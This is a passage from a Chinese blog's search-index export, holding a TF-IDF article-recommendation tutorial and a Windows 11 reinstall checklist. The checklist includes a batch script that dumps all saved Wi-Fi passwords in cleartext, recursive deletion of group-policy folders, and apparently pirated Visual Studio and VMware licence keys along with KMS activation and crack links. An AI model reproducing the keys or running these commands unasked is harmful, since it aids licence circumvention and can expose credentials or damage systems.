要求我们具备科学辩证思维，客观看待关联现象。很多时候，我们选择相信直觉，因为我们的直觉往往很准。但是，在信息不全或者信息非对称的情况下，直觉常常是是值得怀疑的。","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"探索","slug":"探索","permalink":"https://blog.mhuig.top/tags/%E6%8E%A2%E7%B4%A2/"}]},{"title":"尝试在博客中添加简易文章推荐功能","slug":"data-mining/尝试在博客中添加文章推荐功能","date":"2022-09-15T11:13:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/175a1706/","permalink":"https://blog.mhuig.top/p/175a1706/","excerpt":"","text":"把文档转换成 “向量”，并且尝试用线性代数等数学工具来解决信息检索这类问题，至少可以追溯到 20 世纪 70 年代. 想到在 Hexo 这种静态博客系统，特别是 GitHub Page 这种 Serverless 服务中使用 Word2Vec 等深度学习方法似乎并不现实，所以这里使用的是一个非常简单经典的 TF - IDF 算法. TF - IDF 算法原来是搜索引擎中的核心部分，谷歌百度已经使用 TF - IDF 作为内容排名因素很长一段时间. 现在的搜索引擎一般用如下的算法计算网站页面得分：score (页面得分) = TFIDF 分 * x + 链接分 * y + 用户体验分 * z（其中 x + y+z = 100%），TFIDF 分值百度大约占 40% 左右的权重，谷歌更是达到了 50%. 这是百度的计算方法： score (页面得分) = 40% 的内容质量相关性（TFIDF）+ 40% 的用户体验分 + 20% 的链接分（域名 + 外链）. 搜索引擎使用 TF - IDF 来计算内容质量相关性，我们这边也可以用它来计算文章内容相关性，然后实现简易文章推荐功能。 当然也可以使用文章的 tags 标签最为推荐依据，但是这样过于依赖人工标注数据，顺便最近发现在 Hexo 中分类和标签只能在 source/_posts 文件夹中使用才能渲染出来。 构建向量空间模型将文档转化为向量来表示，这样文档与文档之间就可以定量的去度量他们之间的关系，挖掘文档之间的联系. 上面提到的 Word2Vec 是把单词转化为向量来表示，这样词与词之间就可以定量的去度量他们之间的关系，挖掘词之间的联系. 比如将词的维度降维到 2 维，用下图的词向量表示词: 似乎发现了什么不得了的事情。 对于自然语言书写的文本这种非结构化信息，从文本中抽取出的特征来量化来表示文本信息，构建向量空间模型，并基于数学模型的处理，将文本转换为机器可以理解的语言的方式是很重要的。 举个栗子要实现文章推荐，就需要从一堆文章中找出一些内容相似的文章。基本思路就是，如果文章的关键词越相似，那么他们的内容就会越相似。 我们先从几个简单的句子着手。 句子A：我这里有苹果和西瓜。句子B：我喜欢吃西瓜，不喜欢吃苹果。句子C：我喜欢吃蔬菜。 第一步：数据清洗简单去除标点符号等干扰信息。 句子A: 我这里有苹果和西瓜句子B: 我喜欢吃西瓜 不喜欢吃苹果句子C: 我喜欢吃蔬菜 第二步：分词使用分词工具进行分词。 句子A:[ '我', '这里', '有', '苹果', '和', '西瓜' ]句子B:[ '我', '喜欢', '吃', '西瓜', '不', '喜欢', '吃', '苹果']句子C:[ '我', '喜欢', '吃', '蔬菜' ] 第三步：去重收集所有句子中所有的词[ '我', '这里', '有', '苹果', '和', '西瓜', '喜欢', '吃', '不', '蔬菜'] 第四步：计算词频词频背后的假设是文章的重要程度即文章的相关度与单词在文档中出现的次数成正比。文章的关键词应当比文章中的其他词出现的次数多。 词频某个词在文章中出现的次数 句子A:{ '我': 1, '这里': 1, '有': 1, '苹果': 1, '和': 1, '西瓜': 1, '喜欢': 0, '吃': 0, '不': 0, '蔬菜': 0}句子B:{ '我': 1, '这里': 0, '有': 0, '苹果': 1, '和': 0, '西瓜': 1, '喜欢': 2, '吃': 2, '不': 1, '蔬菜': 0}句子C:{ '我': 1, '这里': 0, '有': 0, '苹果': 0, '和': 0, '西瓜': 0, '喜欢': 1, '吃': 1, '不': 0, '蔬菜': 1} 第四步：词频标准化文章的篇幅有长有短，为了便于不同文章的比较，进行 \"词频\" 标准化。词频标准化的目的是把所有的词频在同一维度上分析。 词频标准化有两种方案： 方案一： 词频某个词在文章中出现的次数文章的总词数 方案二： 词频某个词在文章中出现的次数该文出现最多的词出现的次数 一般情况下，第二个标准化方案更适用，因为能够使词频的值相对大点，便于分析。 有时候常常用 这个值来代替原来的 TF 取值。这样的计算保持了一个平衡，既有区分度，但也不至于完全线性增长。 这里使用比较简单的方案一作为栗子： 句子A:{ '我': 0.16666666666666666, '这里': 0.16666666666666666, '有': 0.16666666666666666, '苹果': 0.16666666666666666, '和': 0.16666666666666666, '西瓜': 0.16666666666666666, '喜欢': 0, '吃': 0, '不': 0, '蔬菜': 0}句子B:{ '我': 0.125, '这里': 0, '有': 0, '苹果': 0.125, '和': 0, '西瓜': 0.125, '喜欢': 0.25, '吃': 0.25, '不': 0.125, '蔬菜': 0}句子C:{ '我': 0.25, '这里': 0, '有': 0, '苹果': 0, '和': 0, '西瓜': 0, '喜欢': 0.25, '吃': 0.25, '不': 0, '蔬菜': 0.25} 第五步：计算逆文档频率仅有词频 (TF) 不能比较完整地描述文档的相关度。因为语言的因素，有一些单词可能会比较自然地在很多文档中反复出现，比如这里中的 “我”、“和” 等等。这些词大多起到了链接语句的作用，是保持语言连贯不可或缺的部分。 很明显，如果有太多文档都涵盖了某个单词，这个单词也就越不重要，或者说是这个单词就越没有信息量。因此，我们需要对词频 (TF) 的值进行修正，而 逆文档频率 (IDF) 的想法是用文档频率 (DF) 的倒数来进行修正。 逆文档频率语料库的文档总数包含该词的文档数 如果一个词越常见，那么分母就越大，逆文档频率就越小越接近 0。分母之所以要加 1，是为了避免分母为 0（即所有文档都不包含该词）。log 表示对得到的值取对数。为什么要用 log 函数？log 函数是单调递增，求 log 是为了归一化，保证逆文档频率不会过大。用 Log 进行变换，也是一个非线性增长的技巧，这样的计算保持了一个平衡，既有区分度，但也不至于完全线性增长。 句子A:{ '我': -0.2876820724517809, '这里': 0.4054651081081644, '有': 0.4054651081081644, '苹果': 0, '和': 0.4054651081081644, '西瓜': 0, '喜欢': 0, '吃': 0, '不': 0.4054651081081644, '蔬菜': 0.4054651081081644}句子B:{ '我': -0.2876820724517809, '这里': 0.4054651081081644, '有': 0.4054651081081644, '苹果': 0, '和': 0.4054651081081644, '西瓜': 0, '喜欢': 0, '吃': 0, '不': 0.4054651081081644, '蔬菜': 0.4054651081081644}句子C:{ '我': -0.2876820724517809, '这里': 0.4054651081081644, '有': 0.4054651081081644, '苹果': 0, '和': 0.4054651081081644, '西瓜': 0, '喜欢': 0, '吃': 0, '不': 0.4054651081081644, '蔬菜': 0.4054651081081644} 第六步：计算 TF - IDF词频逆文档频率 可以看到，TF - IDF 与一个词在文档中的出现次数成正比，与该词在整个文档库中的出现次数成反比。 句子A:{ '我': -0.047947012075296815, '这里': 0.06757751801802739, '有': 0.06757751801802739, '苹果': 0, '和': 0.06757751801802739, '西瓜': 0, '喜欢': 0, '吃': 0, '不': 0, '蔬菜': 0}句子B:{ '我': -0.03596025905647261, '这里': 0, '有': 0, '苹果': 0, '和': 0, '西瓜': 0, '喜欢': 0, '吃': 0, '不': 0.05068313851352055, '蔬菜': 0}句子C:{ '我': -0.07192051811294523, '这里': 0, '有': 0, '苹果': 0, '和': 0, '西瓜': 0, '喜欢': 0, '吃': 0, '不': 0, '蔬菜': 0.1013662770270411} 第七步：列出文档向量这里准确来说应该是 TF - IDF 特征向量，这是一个稀疏矩阵。下面把它作为描述文章特征的向量。 说明一点，这里的文章的特征不是由某几个关键词的 TF - IDF 值决定的，而是由所有的词的 TF - IDF 值共同决定的。 句子A:[ -0.047947012075296815, 0.06757751801802739, 0.06757751801802739, 0, 0.06757751801802739, 0, 0, 0, 0, 0]句子B:[ -0.03596025905647261, 0, 0, 0, 0, 0, 0, 0, 0.05068313851352055, 0]句子C:[ -0.07192051811294523, 0, 0, 0, 0, 0, 0, 0, 0, 0.1013662770270411] 可以对文档向量进行标准化，使得这些向量能够不受向量里有效元素多少的影响，也就是不同的文档可能有不同的长度。把向量都标准化为一个单位向量的长度。这个时候再进行点积运算，就相当于在原来的向量上进行余弦相似度的运算。 第八步：计算余弦相似度到这里，如何寻找两篇相似文章的问题转变成了如何计算这两个向量的相似程度的问题。 什么叫做向量相似？ 一般地，如果两个向量平行或重合，我们认为这两个向量相似度为 。如果这两个向量垂直，或者说正交，我们认为这两个向量的相似度为 。 以二维空间为例， 和 是两个向量，我们要计算它们的夹角 。余弦定理告诉我们，可以用下面的公式求得： 假定和是两个维向量，我们把这些向量放到维欧几里得空间中讨论，向量之间的距离使用欧几里得距离。 假定是 ，是 ，则与的夹角的余弦等于： { '句子A': { '句子A': 1.0000000000000002, '句子B': 0.21934876427664535, '句子C': 0.21934876427664535 }, '句子B': { '句子A': 0.21934876427664535, '句子B': 1, '句子C': 0.33484380220099325 }, '句子C': { '句子A': 0.21934876427664535, '句子B': 0.33484380220099325, '句子C': 1 }} 第九步：余弦相似度按照降序排序两两计算向量夹角的余弦值，然后按降序排列，取排在最前面的几个文章，就是相似度较高的文章，作为推荐结果。 { '句子A': { '句子A': 1.0000000000000002, '句子B': 0.21934876427664535, '句子C': 0.21934876427664535 }, '句子B': { '句子B': 1, '句子C': 0.33484380220099325, '句子A': 0.21934876427664535 }, '句子C': { '句子C': 1, '句子B': 0.33484380220099325, '句子A': 0.21934876427664535, }} 相同句子的余弦值是 .余弦值越接近，就表明夹角越接近度，也就是两个向量越相似. 第十步：收集推荐结果{ '句子A': [ '句子B', '句子C' ], '句子B': [ '句子C', '句子A' ], '句子C': [ '句子B', '句子A' ]} 即： A-BB-CC-B A 和 C 之间没什么关系。 源码实现Volantis 主题实现文章推荐https://github.com/volantis-x/hexo-theme-volantis/blob/684c40333b16b5d1df1a9e4a7f1da90216e5a17a/scripts/helpers/ 文章推荐.js UI 界面是随手写的，又不是不能用（ 代码变量是中文写的，方便易读。其实是中间出 Bug 了，然后调试 Debug 时顺便整的活","categories":[{"name":"数据挖掘","slug":"数据挖掘","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98/"}],"tags":[{"name":"推荐系统","slug":"推荐系统","permalink":"https://blog.mhuig.top/tags/%E6%8E%A8%E8%8D%90%E7%B3%BB%E7%BB%9F/"}]},{"title":"记一次重装系统 (Win11)","slug":"win11","date":"2022-08-11T01:18:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/de4b9576/","permalink":"https://blog.mhuig.top/p/de4b9576/","excerpt":"","text":"电脑开机后要先卡顿 30 min，然后才能正常工作，还有不明程序一直在读写磁盘，噪声太大了，没救了重装系统吧。 重装系统之后操作瞬间就流畅很多~ 意料之外：重装系统之后，win11 自带的杀软开始报毒，之前在虚拟机看过镜像中是没有这个病毒文件的。使用老毛桃制作启动盘，事先格式了系统盘，推测可能是老毛桃启动盘释放的病毒文件，或者是上一个系统的隐藏分区释放的病毒文件，google: 老毛桃启动盘携带木马病毒，这里建议使用微软官方的镜像和安装介质。 重装系统前的备份列表 以下内容适用于 win10 与 win11 PE 官方镜像和安装介质 老毛桃 UEFI 版 操作系统 windows 镜像库 Win11 安装跳过 tpm 2.0 检测的方法 TPM 对笔者来说毫无用处 打开 Windows 11 的 ISO 镜像安装包，打开后将目录 Source 中的 install.wim 文件复制到桌面上。然后解压 Windows 10 的 ISO 安装包，然后将 Win11 的 install.win 文件拷到解压后的 win10 安装包的 sources 文件夹，双击 Windows 10 安装包里的 setup.exe 文件开始安装，借用 Windows10 安装程序去安装 Windows11 系统 W10 Digital License Activation Script 笔者发现装完系统以后 win11 已经激活了，是因为之前使用了 W10 Digital License Activation Script。 Office Office 镜像库 Office Tool Plus Office Tool Plus 入门教程 kms list kms.loli.best 1688 浏览器 Chrome Firefox Tor Browser 安全管理 火绒安全 腾讯电脑管家 Kaspersky 暂时只装火绒。 Windows 应用商店 7-zip Ubuntu On windows Kali Linux IDE 文本编辑器 Visual Studio Code Visual Studio vs2022 永久激活密钥：Visual Studio 2022 Enterprise：VHF9H-NXBBB-638P6-6JHCY-88JWHVisual Studio 2022 Professional：TD244-P4NB7-YQ6XK-Y8MMM-YWV2J CodeBlocks JetBrains Pycharm JetBrains Idea https://www.exception.site/essay/how-to-free-use-intellij-idea-2019-3 Notepad++ Eclipse MyEclipse Typora Matlab 代理工具 Clash for Windows V2rayN ShadowsocketsR DOH 阿里：https://dns.alidns.com/dns-query 腾讯：https://doh.pub/dns-query 驱动 NVIDIA ATK Package cuda cudnn 开发环境 TDM-GCC x64 python pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple Writing to %appdata%\\pip\\pip.ini anaconda Java SE Development Kit nvm 找到 nvm 文件位置，点开 settings.txt root: C:\\software\\nvmpath: C:\\software\\nodejsnode_mirror: https://npm.taobao.org/mirrors/node/npm_mirror: https://npm.taobao.org/mirrors/npm/ 使用 nvm ls // 看安装的所有node.js的版本nvm list available // 查显示可以安装的所有node.js的版本nvm install 版本号 // 例如：nvm install 16.16.0nvm use 版本号 // 切换到使用指定的nodejs版本 版本控制 Git GitHub DeskTop 配置 .gitconfig .gitconfig[user] name = MHuiG email = xxxxxx@qq.com signingkey = BA16368BD4C4169C[gui] encoding = utf-8[filter \"lfs\"] smudge = git-lfs smudge -- %f process = git-lfs filter-process required = true clean = git-lfs clean -- %f[http] schannelCheckRevoke = false[commit] gpgsign = true[gpg] program = C:\\\\software\\\\GnuPG\\\\bin\\\\gpg.exe[init] defaultBranch = main[core] editor = \\\"C:\\\\software\\\\Microsoft VS Code\\\\bin\\\\code\\\" --wait 聊天工具 QQ 微信 企业微信 Telegram Desktop 远程连接 Xshell Xftp SecureCRT VNC 数据库 MySQL Navicat mongoDB Robo 3T redis RedisDesktopManager 截屏工具 ScreenToGif Greenshot GPG keybase Gpg4win 下载工具 迅雷 百度网盘 Aria2 杂项 搜狗输入法 VMware 16: ZF3R0-FHED2-M80TY-8QYGC-NPKYF XMind PostMan 网易有道词典 CAJViewer BestTrace StarUML HDFView Adobe Photo Shop 网易云音乐 MathType PotPlayerPortable Dism++ UltraISO MyDiskTest DiskGenius chrome 扩展 AdBlock — 最佳广告拦截工具 Enable Copy MetaMask Tampermonkey BETA Wappalyzer - Technology profiler 迅雷下载支持 windows 导出备份 WiFi 密码Wi-Fi-code.bat@echo off for /f \"skip=9 tokens=1,2 delims=:\" %%i in ('netsh wlan show profiles') do @echo %%j | findstr -i -v echo | netsh wlan show profiles %%j key=clear >>%USERPROFILE%\\desktop\\Wi-Fi-code.txtstart %USERPROFILE%\\desktop\\Wi-Fi-code.txt windows 提权装完系统先搞权限。 夺回 Windows 系统权限碰到过这样的提示：“无法使用内置管理员账户打开 XX 程序，请使用其他账户登录” 其实已经使用管理员账户登录了，为什么还会出现这样的提示呢？ 这是因为使用的内置账户没有对应用程序的操作权限，可以使用注册表来夺回 Windows10 系统权限。 账户详解： 使用的管理员账户，就是使用用户名或微软账号登录到 Windows 的账号，管理权限无限近似于 Administrator，但在某些文件 / 文件夹的操作上，还是不如真正的 Administrator 好用。 在 Windows 内置的账户中，还有两个比 Administrator 权限更高的账户，一个是肉眼可见的 System 权限，最终的 Boss 则是 TrustedInstaller，其实所有账户中它也不是最高的那个，但剩下的无论通过什么方式，都挖掘不出来了，也许超级账户就是 Microsoft 自己了。 Windows 夺回系统权限的操作方法： 1、Win+R 组合键之后，输入 regedit ，打开注册表； 2、定位到：HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ，在右侧栏找到 FilterAdministratorToken ，双击后将数值数据修改为 1之后点击 确定。（如果没有的话，就使用鼠标右键新建个 DWORD（32位） 值，将其命名为 FilterAdministratorToken 。） 3、之后再定位到：HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\UIPI ，将右侧的默认项目的数值数据修改为 1。 4、完成上述操作后，重启电脑或注销当前 Windows 账户后，再进入 “控制面板 - 系统与安全 - 用户账户控制设置”，将 “通知选项” 设置为默认就 OK 了。 开启 administrator 账户net user administrator /active:yes 右键菜单权限选项管理员取得所有权.regWindows Registry Editor Version 5.00[-HKEY_CLASSES_ROOT\\*\\shell\\runas][HKEY_CLASSES_ROOT\\*\\shell\\runas]@=\"获取超级管理员权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,-78\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\*\\shell\\runas\\command]@=\"cmd.exe /c takeown /f \\\"%1\\\" && icacls \\\"%1\\\" /grant administrators:F\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" && icacls \\\"%1\\\" /grant administrators:F\"[-HKEY_CLASSES_ROOT\\Directory\\shell\\runas][HKEY_CLASSES_ROOT\\Directory\\shell\\runas]@=\"获取超级管理员权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,-78\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\Directory\\shell\\runas\\command]@=\"cmd.exe /c takeown /f \\\"%1\\\" /r /d y && icacls \\\"%1\\\" /grant administrators:F /t\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" /r /d y && icacls \\\"%1\\\" /grant administrators:F /t\"[-HKEY_CLASSES_ROOT\\dllfile\\shell][HKEY_CLASSES_ROOT\\dllfile\\shell\\runas]@=\"获取超级管理员权限\"\"HasLUAShield\"=\"\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\dllfile\\shell\\runas\\command]@=\"cmd.exe /c takeown /f \\\"%1\\\" && icacls \\\"%1\\\" /grant administrators:F\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" && icacls \\\"%1\\\" /grant administrators:F\"[-HKEY_CLASSES_ROOT\\Drive\\shell\\runas][HKEY_CLASSES_ROOT\\Drive\\shell\\runas]@=\"获取超级管理员权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,-78\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\Drive\\shell\\runas\\command]@=\"cmd.exe /c takeown /f \\\"%1\\\" /r /d y && icacls \\\"%1\\\" /grant administrators:F /t\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" /r /d y && icacls \\\"%1\\\" /grant administrators:F /t\" 恢复原始权限.regWindows Registry Editor Version 5.00;恢复原始权限 [HKEY_CLASSES_ROOT\\*\\shell\\runas-] @=\"恢复原始权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,101\"\"NoWorkingDirectory\"=\"\"; && takeown /f \\\"%1\\\"[HKEY_CLASSES_ROOT\\*\\shell\\runas-\\command] @=\"cmd.exe /c takeown /f \\\"%1\\\" && icacls \\\"%1\\\" /reset && cacls \\\"%1\\\" /e /r \\\"%%USERNAME%%\\\"\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" && icacls \\\"%1\\\" /reset && cacls \\\"%1\\\" /e /r \\\"%%USERNAME%%\\\"\"[HKEY_CLASSES_ROOT\\exefile\\shell\\runas2-] @=\"恢复原始权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,101\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\exefile\\shell\\runas2-\\command] @=\"cmd.exe /c takeown /f \\\"%1\\\" && icacls \\\"%1\\\" /reset && cacls \\\"%1\\\" /e /r \\\"%%USERNAME%%\\\"\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" && icacls \\\"%1\\\" /reset && cacls \\\"%1\\\" /e /r \\\"%%USERNAME%%\\\"\"[HKEY_CLASSES_ROOT\\Directory\\shell\\runas-] @=\"恢复原始权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,101\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\Directory\\shell\\runas-\\command] @=\"cmd.exe /c takeown /f \\\"%1\\\" /r /d y && icacls \\\"%1\\\" /reset && cacls \\\"%1\\\" /e /r \\\"%%USERNAME%%\\\"\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" /r /d y && icacls \\\"%1\\\" /reset && cacls \\\"%1\\\" /e /r \\\"%%USERNAME%%\\\"\" 取得文件修改权限.regWindows Registry Editor Version 5.00;取得文件修改权限 [HKEY_CLASSES_ROOT\\*\\shell\\runas] @=\"获取管理员权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,102\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\*\\shell\\runas\\command] @=\"cmd.exe /c takeown /f \\\"%1\\\" && icacls \\\"%1\\\" /grant administrators:F\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" && icacls \\\"%1\\\" /grant administrators:F\"[HKEY_CLASSES_ROOT\\exefile\\shell\\runas2] @=\"获取管理员权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,102\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\exefile\\shell\\runas2\\command] @=\"cmd.exe /c takeown /f \\\"%1\\\" && icacls \\\"%1\\\" /grant administrators:F\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" && icacls \\\"%1\\\" /grant administrators:F\"[HKEY_CLASSES_ROOT\\Directory\\shell\\runas] @=\"获取管理员权限\"\"Icon\"=\"C:\\\\Windows\\\\System32\\\\imageres.dll,102\"\"NoWorkingDirectory\"=\"\"[HKEY_CLASSES_ROOT\\Directory\\shell\\runas\\command] @=\"cmd.exe /c takeown /f \\\"%1\\\" /r /d y && icacls \\\"%1\\\" /grant administrators:F /t\"\"IsolatedCommand\"=\"cmd.exe /c takeown /f \\\"%1\\\" /r /d y && icacls \\\"%1\\\" /grant administrators:F /t\" 移除权限选项.regWindows Registry Editor Version 5.00[-HKEY_CLASSES_ROOT\\*\\shell\\runas][-HKEY_CLASSES_ROOT\\exefile\\shell\\runas2][-HKEY_CLASSES_ROOT\\Directory\\shell\\runas][-HKEY_CLASSES_ROOT\\*\\shell\\runas-][-HKEY_CLASSES_ROOT\\exefile\\shell\\runas2-][-HKEY_CLASSES_ROOT\\Directory\\shell\\runas-] 获取 TrustedInstaller 超级权限 TrustedInstaller 超级权限是凌驾于管理员权限和系统权限之上的存在 TrustedInstaller 超级权限的添加方法： 下载注册表权限修改工具 SetACL: https://helgeklein.com/download/#download-setacl SetACL 文档： https://helgeklein.com/setacl/ https://helgeklein.com/setacl/documentation/command-line-version-setacl-exe/ 按照如下格式设置执行获取权限命令： SetACL -on 对象名称 -ot 对象类型 -actn 操作 对象名称 (-on)：这是 SetACL 应操作的对象的路径。对象类型（-ot）：对象名称指的是什么类型的对象：文件或目录（file）、注册表项（reg）、服务（srv）、打印机（prn）、网络共享（shr）操作 (-actn)：SetACL 应该如何处理指定的对象 注册表值权限获取就可以用如下命令： SetACL.exe -on \"HKEY_CLASSES_ROOT\\XXX\\{xxxxxxx-666-5555-EEEE-yyyyyy}\" -ot reg -actn setowner -ownr \"n:Administrators\";;注释：将上述注册表项所有者更新到管理员 Administrator（默认为不可更改的 TrustedInstaller ）。SetACL.exe -on \"HKEY_CLASSES_ROOT\\XXX\\{xxxxxxx-666-5555-EEEE-yyyyyy}\" -ot reg -actn ace -ace \"n:Administrators;p:full\";;注释：让上述注册表项所有者 Administrator 获取全部权限。 注意，上述命令缺一不可，而且要按照先后顺序执行。 友情提醒：命令 SetACL -on 对象名称 -ot 对象类型 -actn 操作 适合文件、文件夹（需要写详细路径）和注册表项目超级权限获取，各位可按需提权，出于安全考虑，切勿滥用。如果修改完毕，还可以考虑把命令中的管理员 Administrator 替换为 TrustedInstaller 再次执行命令，恢复系统默认，确保安全。 windows 取消登录界面的名字 1、打开 regedit。 2、定位到以下位置：\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\，找到名为 dontdisplaylastusername 的键值，双击它，然后将它的数值数据改为 1。 3、将鼠标光标放在左侧树状列表的 System 项上，单击右键，选择新建 - DWORD（32 位）值，并将该值命名为：DontDisplayLockedUserID。 4、双击我们刚刚新建的名为 DontDisplayLockedUserID 的 DWORD（32 位）值，你将看到一个编辑 DWORD（32 位）值的窗口。在这个窗口中，将 DontDisplayLockedUserID 的数值数据改为3。 5、修改完成后，关闭注册表编辑器，在开始菜单中点击你的头像，再点击锁定，你将看到锁屏界面。 6、按回车键，或者使用鼠标点击屏幕，你将看到 Win 登录界面。这时我们可以看到，我们的名字已经显示为 “解锁电脑”。 7、要登录 Win，你需要手动输入用户名和密码或者 PIN，需要注意的是，这个用户名以 C:\\Users 中的为准。如果你不清楚你当前的用户名，那么可以打开命令提示符后，里面显示的是 C:\\Users\\XXX >，那么当前的用户名就是 XXX ，在登录 Win 时，将 XXX 填入用户名的输入框即可。 要将 Win10 登陆界面恢复为显示姓名也非常简单，只需再次来到注册表，然后双击名为 dontdisplaylastusername 的键值，将它的数值数据改为 0 即可。 windows 取消登录界面电源按钮1、按下 Win+r 打开运行，输入 regedit 回车，打开注册表编辑器；2、定位至：HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System，然后你就会看到 shutdownwithoutlogon 这个 32 位的 DWORD 值；3、双击 shutdownwithoutlogon，打开编辑界面，将数据设置为０；原值为 1.4、操作完成后，你就会发现，登陆界面的电源按钮没了。 上帝模式即 God Mode 完全控制面板 开启方法: 新建文件夹重命名为 GodMode.{ED7BA470-8E54-465E-825C-99712043E01C} 时间显示到秒实验中发现 win11 删除了注册表 ShowSecondsInSystemClock，需要先下载安装 startallback，然后笔者放弃了时间显示到秒。 win11 需要先下载安装 startallback, win10 直接修改注册表 修改注册表 HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced 新建 DWORD (32 位) 值 改为 1: \"ShowSecondsInSystemClock\"=dword:00000001 重启 使用注册表隐藏磁盘盘符具体操作如下： 注：在开始之前，请使用 Administrator 帐户登录 Windows10。 1、首先，将鼠标光标放在 “此电脑” 图标上，点击右键，再点击管理。 2、在窗口左侧的树状列表中展开本地用户和组，点击用户文件夹。 3、双击帐户列表中的 Administrator 项，将账户已禁用项取消勾选，然后点击确定按钮。 4、这时，点击开始按钮，再点击你的头像，你可以看到 Administrator 项，只要点击它，我们就可以 以 Administrator 帐户登录 Windows 了。 5、以 Administrator 账户登录 Windows 后，打开 regedit。 6、定位到以下位置：\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\ 7、在窗口右侧的空白处点击鼠标右键，选择新建 - 新建 DWORD（32 位）值，并将该值命名为：NoDrives 8、以下是一份对照表，这个表我们接下来有用。 A：1 B：2 C：4 D：8 E：16 F：32 G：64 H：128 I：256 J：512 K：1024 L：2048 M：4096 N：8192 O：16384 P：32768 Q：65536 R：131072 S：262144 T：524288 U：1048576 V：2097152 W：4194304 X：8388608 Y：16777216 Z：33554432 所有：67108863 想要隐藏 E 盘，查表可知，该盘对应的值为 16。 9、双击我们刚刚新建的名为 NoDrives 的 DWOED（32 位）值，将该值基数改为 10 进制，再将该值的数值数据设置为16。 10、重启电脑后，打开文件资源管理器（此电脑），可见，E 盘已经消失了。 11、要进入 E 盘非常简单，我们只需在文件资源管理器的地址栏输入：E:\\，然后回车即可。 如何恢复？ 如果你不想再隐藏 E 盘，那么你可以通过以下方式恢复： 以 Administrator 帐户登录 Windows。打开 regedit，定位到以下位置：\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policie，找到名为 NoDrives 的 DWORD（32 位）值，双击该值，将其数值数据改为 0，然后重启即可。 重置组策略在 Windows 系统中，通过组策略我们可以设置系统的各种软件、计算机和用户策略等。不小心将组策略中的设置修改错了，导致系统中的很多组件都无法使用了，这该怎么办呢？这时候重置组策略编辑器是最好的解决办法 还原本地安全策略用于管理 Windows 安全选项的安全策略与组策略使用了不同的管理控制台 ——secpol.msc（本地安全策略），该安全设置管理单元对组策略进行了扩展，可方便个人用户或域管理员手动配置和定义计算机安全策略。 如果你对 Windows 的安全管理策略不太了解，又自己手动更改了一些乱七八糟的设置，可以通过如下步骤对本地安全策略进行还原： 1、使用 Windows + X 快捷键打开「命令提示符（管理员）」； 2、执行如下命令： secedit /configure /cfg %windir%\\inf\\defltbase.inf /db defltbase.sdb /verbose 3、命令执行完成之后需要重启计算机才能生效，如果某些组件仍出现奇怪的问题，可以通过下面介绍的步骤来重置组策略对象。 使用命令行重置组策略对象此种方法比较特殊，我们可以直接从安装 Windows 的分区中直接删除组策略配置文件夹，以达到全部重置目的： 1、使用 Windows + X 快捷键打开「命令提示符（管理员）」； 2、执行如下命令： RD /S /Q \"%WinDir%\\System32\\GroupPolicyUsers\"RD /S /Q \"%WinDir%\\System32\\GroupPolicy\"gpupdate /force 3、命令执行完成后重启计算机即可。 禁用设置和控制面板该方法适用于：Win10 + 专业版/企业版/教育版 1、运行 gpedit； 2、定位到：用户配置 - 管理模板 - 控制面板，在窗口的右侧找到并双击禁止访问 “控制面板” 和 PC 设置； 3、在弹出的窗口中选择已启用，点击确定按钮； 4、当你完成这些步骤后，用户将无法打开设置。 该方法适用于：Win10 + 家庭版 重要提醒：编辑注册表是有风险的，如果你不小心误操作，这则可能对你电脑的系统造成不可逆转的损害，在继续之前，我们建议你备份注册表或者创建系统还原点。 1、运行 regedit； 2、定位到：\\HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\，在窗口右侧的空白处单击鼠标右键，选择新建 - DWORD（32 位）值，并将此值命名为：NoControlPanel； 3、双击刚刚新建的名为 NoControlPanel 的 DWORD（32 